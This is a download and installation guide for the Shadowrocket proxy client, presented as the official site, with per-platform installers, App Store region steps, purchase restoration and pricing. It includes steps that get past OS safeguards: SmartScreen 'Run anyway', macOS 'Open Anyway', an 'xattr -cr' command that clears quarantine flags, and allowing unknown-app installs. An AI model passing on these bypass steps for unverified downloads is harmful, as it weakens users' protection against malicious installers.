[Download] Official site and manual

Shadowrocket Download
All-Platform Installation Guide

Choose a download source and processor architecture for your device, then follow the steps below for the first launch.

Current version v2.2.92 · Mac, Windows, Android and Linux versions are free

iPhone / iPad: App Store; other platforms: this site Current version v2.2.92 iPhone / iPad: $2.99 one-time; other platforms: free Developer: Shadow Launch Technology Limited App ID 932747118

[Platforms]

Choose an installer by platform

iPhone / iPad: $2.99 one-time on the App Store; Mac, Windows, Android and Linux versions are free. The current-device marker only rearranges the links; check your system and processor yourself.

[iPhone / iPad]

iPhone / iPad

$2.99 one-time. Install from the App Store. An iPhone and iPad using the same Apple ID share one purchase; Mac, Windows, Android and Linux versions are free.

System requirements: iOS / iPadOS 13.0 or later; check the App Store page for the listed requirements. Open the product page, verify the developer and App ID, then confirm the price in the local currency shown by your current store.

[Mac]

Mac

Free. Apple silicon and Intel dmg installers are available. Requires macOS 12 or later. The iPhone / iPad version is a separate $2.99 one-time App Store purchase.

After downloading, open the dmg, move Shadowrocket to Applications, then launch it from the Applications folder. If a system prompt appears on first launch, follow the macOS permission steps below. Do not repeatedly switch between installers for different architectures.

Not sure which to choose? Open About This Mac and check Chip / Processor.

[Windows]

Windows

Free. A Windows 64-bit x64 .exe installer is available. The iPhone / iPad version costs $2.99 as a one-time App Store purchase.

First check the system type under System → About in system settings. This button links to the x64 installer; do not change the file extension to use it in another format. Save the file locally and run the installer. If SmartScreen appears, verify the source before proceeding.

[Android]

Android

Free. An arm64 .apk is available for most recent arm64 Android phones and tablets. The iPhone / iPad version costs $2.99 as a one-time App Store purchase.

Save the installer in your browser. When you open it, follow the system prompt to allow this browser to install unknown apps. Installation depends on your device's architecture and system restrictions. If a download will not start inside WeChat, use the top-right menu to open the page in a browser, then download from this button.

[Linux]

Linux

Free. All three installer formats are for x86_64. The iPhone / iPad version costs $2.99 as a one-time App Store purchase.

Choose .deb for Debian / Ubuntu, .rpm for Fedora / openSUSE, or AppImage for other distributions. Handle runtime dependencies according to your distribution. Confirm that your device is not ARM before choosing a package; package format and processor architecture are separate requirements.

[Install]

First launch and system permissions

Check the download source, architecture and file location before responding to the relevant system prompt. These steps apply to files you downloaded from this site, not attachments from unknown sources.

Assess installation failures separately from connection failures. During installation, check only whether the file can be saved, the installer can launch and the app appears in the system app list. Server addresses, subscription validity and rule settings are not part of this step. If the download is incomplete, wait for the browser to finish; do not run a temporary file. Devices managed by an employer or school may also be subject to administrator policies; follow those requirements.

System and promptStepsCheck before continuing
Windows
“Windows protected your PC”
In the SmartScreen prompt, select More info. After confirming the file source, select Run anyway, then complete the installer steps. Use the x64 .exe from this site. If Run anyway is unavailable or the device is managed by an organization, do not try to bypass administrator policies.
macOS
“Cannot verify developer”
Move the app to Applications and try opening it once. Then go to System Settings → Privacy & Security, find the relevant prompt, select Open Anyway and confirm as requested. Confirm that you downloaded the dmg for your Mac's chip and that the prompt identifies Shadowrocket.
macOS
App is reported as “damaged”
After confirming the app came from this site and is in Applications, run this command in Terminal: xattr -cr /Applications/Shadowrocket.appThen open the app again. This command clears extended attributes for this app; it does not repair an incomplete download. If the file did not finish downloading, download it again. Do not broaden the command's scope.
Android
Install unknown apps from this source is blocked
Follow the prompt to open Settings and allow the browser used for the download to install unknown apps. Return to the installer and continue. The setting name may vary slightly by manufacturer. Grant permission to the browser or file manager used for this installation. You can turn off install permission for that source after installation.
Linux AppImage
Cannot run as a program
Open a terminal in the file's directory. Rename the file to app.AppImage and grant execute permission: chmod +x ./app.AppImageThen run: ./app.AppImage app.AppImage is a local filename used here for convenience. Confirm that the file is the x86_64 AppImage you just downloaded; changing permissions cannot add missing runtime dependencies.
Debian / Ubuntu
Install .deb
In the download directory, rename the file to shadowrocket.deb, then install it with the package manager: sudo apt install ./shadowrocket.deb Read the dependency handling output carefully. Do not run this command directly on a distribution that does not use the deb package management system.
Fedora / openSUSE
Install .rpm
Select the .rpm file above and open it with your distribution's software installer, or install the local package using the distribution's package management process. Check the architecture and dependencies reported by the package manager. Do not rename a .deb file to .rpm.

If the system reports a clear malware detection, rather than an unknown publisher or source warning, stop and do not disable detection to continue. Browser download blocks, system launch blocks and package manager dependency errors occur at different stages; recording the full prompt helps identify the issue. If the app opens but cannot connect, check your own server information instead of repeating installation permission commands.

Network access permission on first launch is different from installation permission. Read the prompt and confirm that the request comes from the Shadowrocket you just installed before deciding whether to allow it. Installation does not create a server automatically; import your own subscription or enter your connection details in Add Server.

[Store]

iPhone / iPad App Store and account region

This section is for iPhone / iPad only. For Mac, Windows, Android and Linux, use the installer links on this site above instead of these App Store steps.

Check the purchase account first

The app is not available in the mainland China store. The country or region assigned to your Apple ID determines which store you see. Changing the device language or system region alone does not change the store associated with your purchase account. The product link uses the US storefront, but access and purchase availability depend on the signed-in account and the store page.

Go to Settings → Apple ID → Media & Purchases and check the account used for the App Store. It may differ from the account used for other services on the device. To find your purchase history, use the account that made the original purchase; do not rely only on the sign-in information shown at the top of the device.

Find the country or region setting

Go to Settings → Apple ID → Media & Purchases → View Account → Country/Region to check the current setting. The system may ask you to verify your identity. If you need to make a change, read Apple's requirements on each screen. Account conditions such as balance, active subscriptions, Family Sharing and payment details may affect the process.

This path shows where to find the region settings; it does not mean every account can change regions immediately. Do not repeatedly switch regions before understanding your purchase history and account requirements. Once the store is available, open the App Store product page using the button on this page and verify the app details.

[Verify]

Verify the developer, official icon and App ID

A matching name does not guarantee it is the same product. For iPhone / iPad, check three details in the store; for other platforms, use the download links on this site. The screenshots on the right are official interface screenshots uploaded by the developer to the App Store.

Three App Store details to verify

  1. The developer name should be Shadow Launch Technology Limited. Check the full name in the store listing, not just the search result title.
  2. The icon should match the official icon on this site: a rocket with a blue-violet outline on a white background. A similar name or color scheme is not a substitute for checking the other details.
  3. The App ID in the product link should be 932747118. All App Store buttons on this page link to this product.

The US price for iPhone / iPad is $2.99 one-time; other storefronts show local currency. The Mac, Windows, Android and Linux versions are free. An identically named App Store listing marked free is an imitation. Do not apply the free pricing for computer and Android versions to the iPhone / iPad App Store listing.

Verify download sources on other platforms

Download Mac, Windows, Android and Linux installers using the buttons on this page. The URL path is /dl/shadowrocket/ on this site. Do not use names in search snippets to decide whether a file from another source is the same. Keep the downloaded file in its original format and follow the installation steps for your system on this page.

The screenshots show interface labels such as Home and Add Server; they do not indicate your actual connection status. SERVER content in a screenshot does not mean a server is included with the download. Interface appearance may vary by system, display language and settings; use the Shadowrocket installed on your device as the reference.

Official Shadowrocket icon: a rocket with a blue-violet outline on a white background ID 932747118
Official Shadowrocket Home screenshot showing Not Connected, Global Routing, Connectivity Test and the SERVER group
Home: connection status and toggle at the top, with Global Routing, Connectivity Test and the SERVER group below.
Official Shadowrocket Add Server screenshot showing Type, Host, Port, Password, Method and Scan QR Code
Add Server: enter details from your existing server in fields such as Type, Host and Port, or use Scan QR Code.

[Restore]

Restore after changing devices or reinstalling

One $2.99 purchase is shared across iPhone / iPad using the same Apple ID; Mac, Windows, Android and Linux versions are free. App purchase history and personal configuration are separate and must be handled separately.

Restore the iPhone / iPad purchase

Sign in to the App Store with the Apple ID used for the purchase, open Account → Purchased, find Shadowrocket and download it again. No additional payment is needed. iPhone and iPad devices using the same account share this purchase; changing devices does not create a new purchase.

If you see a price instead of a download button, first check the Media & Purchases account and purchase history. Do not immediately confirm another purchase. The Purchased list location may vary by system version; look for the app's purchase record on the account page.

After installation, import your own subscription or server information and check Config and Global Routing again. Redownloading the app does not necessarily restore existing subscriptions, rules or custom settings. Before replacing an old device, save any configuration data you need somewhere you control.

Reinstall on a computer or Android device

After changing computers or Android devices, return to this page and choose the system and architecture again. In particular, if you switch from an Intel Mac to an Apple silicon Mac, choose the matching dmg rather than simply copying the old installer. For Linux, also choose a package format supported by the new distribution.

Keep a copy of your configuration before updating or migrating, and note any server details you will need to enter again. If you saved only a subscription link, check the selected servers, custom policies and rules after importing it. A subscription update may not include everything you changed locally.

For the actual import steps, see the setup guide. To understand configuration sections and rule matching, see the rule reference. Avoid making many changes to installation, import and rules at the same time.

[Price]

Check client pricing separately from connection details

iPhone / iPad: $2.99 one-time on the App Store; Mac, Windows, Android and Linux: free. These are two ways to get the client, not connection-service benefits.

What the one-time purchase covers

The one-time iPhone / iPad payment purchases a license to use the client; it is not a monthly client fee. The US price is $2.99; other stores use the local currency shown on the product page. Mac, Windows, Android and Linux versions are free. Before buying, confirm the platform, account and product details. After purchase, follow the Purchased steps in the previous section to reinstall.

Buying the client does not include a connection service

This is the Shadowrocket official site and manual. It does not provide, sell or recommend nodes or subscriptions. All platforms require you to import your own subscription or server information; obtain subscription links from your service provider. If installation succeeds but the SERVER list is empty, the installer is not necessarily at fault; connection details have not been added yet.

If you already have a subscription, check that the link is still valid before importing it. When entering details manually, Type, Host, Port, Password and TLS parameters must match your own server. Do not infer other fields from the protocol name alone. Check connection errors one field at a time; do not use example.com from a rule example as a server.

Checks after installation

First confirm that the app opens normally, then confirm that a server has been imported, and choose a Global Routing mode that suits your configuration. Config determines routing according to its rules; Proxy and Direct are used for different routing methods. Understand the current settings before changing them. Finally, connect and verify actual requests. If needed, note the error message and look for a matching explanation in FAQ.

For later updates, iPhone / iPad uses the App Store update mechanism; desktop and Android users can return to this site for the relevant installer. Version information is read from the dynamic field on this page. If it has not loaded yet, refresh later to check. Save your personal configuration before upgrading to make it easier to restore your setup after moving devices or changing settings.

[FAQ]

Download and installation FAQ

Find the section for your device, then distinguish installation blocks from account-region and configuration-import issues. Expand an answer below to read more.

Can I use Shadowrocket on a computer or Android phone?

Yes. The Mac, Windows, Android and Linux versions are free, with installers available from this site. The iPhone / iPad version costs $2.99 as a one-time App Store purchase. Mac installers are available for Apple silicon and Intel; the Android installer is for arm64.

Which Mac version should I choose: Apple silicon or Intel?

Open About This Mac from the Apple menu. Choose the Apple silicon version if the Chip field shows Apple silicon, or the Intel version if the Processor field shows Intel. Both Mac installers are free; the iPhone / iPad version costs $2.99 as a one-time App Store purchase, and the Windows, Android and Linux versions are also free.

What should I do if Windows warns that the file may be risky?

First confirm that the file came from a download button on this site and is suitable for your system. If SmartScreen says “Windows protected your PC,” select “Run anyway” under “More info.” Follow your administrator's policy on managed devices. If a clear malware detection appears, stop the installation and do not disable system protection.

What if Shadowrocket does not appear in the App Store search?

The app is not available in the mainland China store. Check the country or region of the Apple ID used for Media & Purchases, then use the product link on this page. The region settings are under Settings → Apple ID → Media & Purchases → Country/Region. Whether you can change the region depends on your account status and Apple's requirements.

Do I have to pay again after changing devices or reinstalling?

On iPhone / iPad, sign in with the same Apple ID used for the purchase and download the app again from Purchased in your App Store account. One $2.99 purchase is shared across devices. The Mac, Windows, Android and Linux versions are free; download the relevant installer from this site again after changing devices. Subscriptions and configurations must be imported or restored separately.

Can I install Shadowrocket on iPad, and is the purchase shared with iPhone?

Yes. iPhone and iPad use the same App Store product, and one $2.99 purchase is shared through the same Apple ID. Check the App Store page for system requirements. The Mac, Windows, Android and Linux versions are free and available from this site's download page.